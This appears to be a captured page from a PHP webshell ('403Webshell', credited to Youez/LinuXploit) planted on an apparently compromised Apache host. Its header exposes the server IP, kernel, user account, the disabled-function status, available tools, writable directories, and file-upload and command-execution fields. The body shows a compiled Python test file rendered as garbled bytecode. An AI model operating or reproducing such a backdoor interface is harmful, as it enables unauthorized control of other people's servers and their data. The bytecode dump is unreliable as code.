403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.240
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_keywordonlyarg.cpython-36.pyc
3

�w2_2�@s�dZdZdZddlZdd�Zdd�dd	�Zd
d�Zdd
�Zddd�dd�Zddd�dd�Z	dd�dd�Z
dd�dd�ZGdd�d�ZGdd�dej
�Zedkr�ej�dS) z?Unit tests for the keyword only argument specified in PEP 3102.z	Jiwon Seozseojiwon at gmail dot com�NcOs|t|�t|j��S)N)�sum�values)Zpos_arg1�arg�kwarg�r�=/opt/alt/python36/lib64/python3.6/test/test_keywordonlyarg.py�posonly_sumsr)�k1cCs||S)Nr)r	�k2rrr�keywordonly_sum
srcCs||S)Nr)r	r
rrr�keywordonly_nodefaults_sumsrcKs||t|j��S)N)rr)r	r
rrrr�keywordonly_and_kwarg_sumsr
)r
cGs||||t|�S)N)r)�a�br	r
rrrr�
mixedargs_sumsrcOs$||||t|�t|j��S)N)rr)rrr	r
r�kwargsrrr�mixedargs_sum2srF)�reversecGstt|�|d�S)N)r)�sorted�list)rZnumsrrr�sortnumsrcOstt|�|d�S)N)r)rr)rZwordsrrrr�	sortwordssrc@s*eZdZdd�dd�Zdd�Zdd�Zd	S)
�Foor)r
cCs||_||_dS)N)r	r
)�selfr	r
rrr�__init__szFoo.__init__cCs||_||_dS)N)r	r
)r�p1r	r
rrr�setszFoo.setcCs|j|jS)N)r	r
)rrrrr"szFoo.sumN)�__name__�
__module__�__qualname__rrrrrrrrsrc@sleZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�ZdS)�KeywordOnlyArgTestCasecCsdd�}|jt||�dS)NcSst|dd�dS)Nz<test>�single)�compile)�srrr�shouldRaiseSyntaxError'szNKeywordOnlyArgTestCase.assertRaisesSyntaxError.<locals>.shouldRaiseSyntaxError)�assertRaises�SyntaxError)rZcodestrr$rrr�assertRaisesSyntaxError&sz.KeywordOnlyArgTestCase.assertRaisesSyntaxErrorcCsT|jd�|jd�|jd�|jd�|jd�|jd�|jd�|jd�dS)	Nzdef f(p, *):
  pass
zdef f(p1, *, p1=100):
  pass
zdef f(p1, *k1, k1=100):
  pass
z!def f(p1, *, k1, k1=100):
  pass
zdef f(p1, *, **k1):
  pass
zdef f(p1, *, k1, **k1):
  pass
z!def f(p1, *, None, **k1):
  pass
z$def f(p, *, (k1, k2), **kw):
  pass
)r')rrrr�$testSyntaxErrorForFunctionDefinition+s






z;KeywordOnlyArgTestCase.testSyntaxErrorForFunctionDefinitioncCs�d}xtd�D]}|d|7}qW|d7}|j|�d}xtd�D]}|d|7}qBW|d7}|j|�d}xtd�D]}|d|7}qvW|d7}t|d	d
�dS)Nzdef f(�zi%d, z*, key=100):
 pass
zdef foo(i,*,zlastarg):
  pass
z
def f(i,*,�z<test>r!)�ranger'r")rZfundef�iZfundef2Zfundef3rrr�testSyntaxForManyArguments5s

z1KeywordOnlyArgTestCase.testSyntaxForManyArgumentscCsLddd�dd�}|jt��}|ddd�WdQRXd}|jt|j�|�dS)	N)�ccSsdS)Nr)rrr.rrr�fJszCKeywordOnlyArgTestCase.testTooManyPositionalErrorMessage.<locals>.f���z;f() takes from 1 to 2 positional arguments but 3 were given)N)r%�	TypeError�assertEqual�str�	exception)rr/�excZexpectedrrr�!testTooManyPositionalErrorMessageIs
z8KeywordOnlyArgTestCase.testTooManyPositionalErrorMessagecCs|jd�|jd�dS)Nz
f(p, k=1, p2)zf(p, k1=50, *(1,2), k1=100))r')rrrr�testSyntaxErrorForFunctionCallQs
z5KeywordOnlyArgTestCase.testSyntaxErrorForFunctionCallcCs�|jttf�|jttf�|jttf�ytddd�|jd�Wntk
rXYnXytdd�|jd�Wntk
r�YnXdS)N�d��)r
Znon_existing_argzshould raise TypeErrorr1)r
)r%r3rrr�fail)rrrr�2testRaiseErrorFuncallWithUnexpectedKeywordArgumentUs
zIKeywordOnlyArgTestCase.testRaiseErrorFuncallWithUnexpectedKeywordArgumentc
Cs||jdtd��|jdtdddi��|jdtdd���|jdtd d!�ddi��|jdtdd��|jd"tddd��|jd#tddd��|jd%tdddd	��|jd(tfddd�ddd
����|jd)tddd��|jd+tdddd��|jd.tddddd��|jd2tdddddd��|jd3tddd��|jd5tdddd��|jd8tddddd��|jd<tdddddd��|jdAtdddddd
d	��|jdFtdGddidd
d����|jdtdd�j��|jdHtddd�j��|jdddgtddd��|jdddgtddddd��|jdddgt	ddd��|jdddgt	ddddd��|jdddgt	dddddd��dS)INr0r1�2r2��4)r
)r	r
)r	r
�k3)rr)r	��r	)r
rAT)rrrr.�ignore)rrDr2)r0r2rC)r0)r1r2r2rC�
)r0)r1r2r2r2r2rCr2rCrEr2r2rCr2rCrEr2rCrE�r2r2rCr2rCrEr2rCrErFr2rCrErF�r2rCrErFrG)r0r1r2r2)
r4rrr
rrrrrr)rrrr�testFunctionCallds>z'KeywordOnlyArgTestCase.testFunctionCallcCspddd�dd�}|jd|jj�|jddi|j�ddi|_y|dd	d
�|jd�Wntk
rjYnXdS)
Nr)r
cSs||||S)Nr)rZp2r	r
rrr�foo�sz2KeywordOnlyArgTestCase.testKwDefaults.<locals>.foor1r
r	r0rE)r	z&__kwdefaults__ is not properly changed)r)r4�__code__�co_kwonlyargcount�__kwdefaults__r<r3)rrIrrr�testKwDefaults�s
z%KeywordOnlyArgTestCase.testKwDefaultscCsXGdd�d�}|j|�jddd�d�|j|j|�ddd�d�|jt|jddd�dS)Nc@seZdZddd�dd�ZdS)z;KeywordOnlyArgTestCase.test_kwonly_methods.<locals>.Exampler0r1)r	r
cSs||fS)Nr)rr	r
rrrr/�sz=KeywordOnlyArgTestCase.test_kwonly_methods.<locals>.Example.fN)rrrr/rrrr�Example�srNr0r1)r	r
)r0r1)r0r1)r4r/r%r3)rrNrrr�test_kwonly_methods�sz*KeywordOnlyArgTestCase.test_kwonly_methodscCstd�dd�dS)N)r	cSsdS)Nr)r	rrr�<lambda>�sz8KeywordOnlyArgTestCase.test_issue13343.<locals>.<lambda>)�unittest)rrrr�test_issue13343�sz&KeywordOnlyArgTestCase.test_issue13343cCs$Gdd�d�}|j|�j�d�dS)Nc@seZdZdd�dd�ZdS)z/KeywordOnlyArgTestCase.test_mangling.<locals>.X�*)�_X__acSs|S)Nr)rrTrrrr/�sz1KeywordOnlyArgTestCase.test_mangling.<locals>.X.fN)rrrr/rrrr�X�srUrS)r4r/)rrUrrr�
test_mangling�sz$KeywordOnlyArgTestCase.test_manglingcCs�d}|jt��}|tfttd�dd�}WdQRX|jt|j�d�|jt��}|tfttd�dd�}WdQRX|jt|j�d�dS)NrS)�y�zcSsdS)Nr)�v�xrWrXrrrr/�sz?KeywordOnlyArgTestCase.test_default_evaluation_order.<locals>.fzname 'b' is not definedcSsdS)Nr)rYrZrWrXrrrrP�szFKeywordOnlyArgTestCase.test_default_evaluation_order.<locals>.<lambda>)r%�	NameErrorrr.�dr4r5r6)rr�errr/rrr�test_default_evaluation_order�s  z4KeywordOnlyArgTestCase.test_default_evaluation_orderN)rrrr'r(r-r8r9r=rHrMrOrRrVr^rrrrr %s
(
	r �__main__)r)r)�__doc__�
__author__Z	__email__rQrrrr
rrrrrZTestCaser r�mainrrrr�<module>s 


Youez - 2016 - github.com/yon3zu
LinuXploit